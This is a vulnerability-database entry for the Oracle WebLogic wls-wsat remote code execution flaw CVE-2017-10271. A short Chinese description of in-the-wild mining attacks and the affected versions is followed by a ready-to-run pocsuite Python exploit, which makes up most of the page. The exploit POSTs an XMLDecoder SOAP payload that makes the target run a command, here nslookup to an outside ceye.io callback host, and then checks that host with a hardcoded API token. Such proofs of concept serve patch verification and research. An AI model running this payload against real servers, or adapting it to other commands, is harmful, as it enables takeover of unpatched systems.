Lucene search

K
seebugMy SeebugSSV:97009
HistoryDec 22, 2017 - 12:00 a.m.

Oracle WebLogic wls-wsat RCE(CVE-2017-10271)

2017-12-2200:00:00
My Seebug
www.seebug.org
838

0.974 High

EPSS

Percentile

99.9%

漏洞描述

黑客利用WebLogic 反序列化漏洞(CVE-2017-3248)和WebLogic WLS 组件漏洞(CVE-2017-10271)对企业服务器发起大范围远程攻击,有大量企业的服务器被攻陷,且被攻击企业数量呈现明显上升趋势,需要引起高度重视。其中,CVE-2017-10271是一个最新的利用Oracle WebLogic中WLS 组件的远程代码执行漏洞,属于没有公开细节的野外利用漏洞,大量企业尚未及时安装补丁。官方在 2017 年 10 月份发布了该漏洞的补丁。

该漏洞的利用方法较为简单,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器的权限,危害巨大。由于漏洞较新,目前仍然存在很多主机尚未更新相关补丁。预计在此次突发事件之后,很可能出现攻击事件数量激增,大量新主机被攻陷的情况。

攻击者能够同时攻击Windows及Linux主机,并在目标中长期潜伏。由于Oracle WebLogic的使用面较为广泛,攻击面涉及各个行业。此次攻击中使用的木马为典型的比特币挖矿木马。但该漏洞可被黑客用于其它目的攻击。

影响版本

  • Oracle Weblogic Server 10.3.6.0

  • Oracle Weblogic Server 12.2.1.2

  • Oracle Weblogic Server 12.2.1.1

  • Oracle Weblogic Server 12.1.3.0


                                                #!/usr/bin/env python
# coding: utf-8
import random
import string
import urlparse
import time

from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
from pocsuite.lib.core.data import logger


class TestPOC(POCBase):
    vulID = '97009'
    version = '1'
    author = ''
    vulDate = '2017-10-23'
    createDate = '2017-12-22'
    updateDate = '2017-12-22'
    references = [
        'https://www.seebug.org/vuldb/ssvid-97009',
    ]
    name = 'Oracle WebLogic wls-wsat RCE(CVE-2017-10271)'
    appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
    appName = 'WebLogic'
    appVersion = ''
    vulType = 'Remote Command Execution'
    desc = '''
    Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。以下组版本受到影响:Oracle WebLogic Server 10.3.6.0.0版本,12.1.3.0.0版本,12.2.1.1.0版本,12.2.1.2.0版本。

    '''

    samples = []

    def verify_request(self, token, type, flag):
        retVal = False
        counts = 3
        url = "http://api.ceye.io/v1/records?token={token}&type={type}&filter={flag}".format(token=token, type=type, flag=flag)
        while counts:
            try:
                time.sleep(1)
                resp = req.get(url)
                if resp and resp.status_code == 200 and flag in resp.content:
                    retVal = True
                    break
            except Exception as ex:
                logger.warn(ex.message)
                time.sleep(1)

            counts -= 1

        return retVal


    def test_uri(self, uri):
        flag = "".join(random.choice(string.ascii_letters) for _ in xrange(0, 8))
        headers = {
            'SOAPAction': "",
            'Content-Type': 'text/xml;charset=UTF-8'
        }
        path = '/wls-wsat/CoordinatorPortType11'
        url = urlparse.urljoin(uri, path)
        postdata = """
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
                    <soapenv:Header> 
                        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
                        <java version="1.8.0_131" class="java.beans.XMLDecoder"> 
                            <object class="java.lang.ProcessBuilder"> 
                            <array class="java.lang.String" length="2"> 
                                <void index="0"> 
                                <string>nslookup</string> 
                                </void>  
                                <void index="1"> 
                                <string>{0}.dns.j3170ioc.ceye.io</string> 
                                </void>  
                            </array>  
                            <void method="start"/> 
                            </object> 
                        </java> 
                        </work:WorkContext> 
                    </soapenv:Header>  
                    <soapenv:Body/> 
                </soapenv:Envelope>
            """.format(flag)
        try:
            resp = req.post(url, data=postdata, headers=headers)
            if resp.status_code == 500 and self.verify_request(token="5df9bef9ed0d27df6f8csc1452b99b5b2p", type="dns", flag=flag):
                return True

        except Exception as ex:
            logger.warning(ex.message)
        return False


    def _verify(self):
        result = {}
        pr = urlparse.urlparse(self.url)
        ports = [7001]
        if pr.port not in ports:
            ports.insert(0, pr.port)
        for port in ports:
            uri = "{0}://{1}:{2}".format(pr.scheme, pr.hostname, str(port))
            if self.test_uri(uri):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = uri
                break

        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output



register(TestPOC)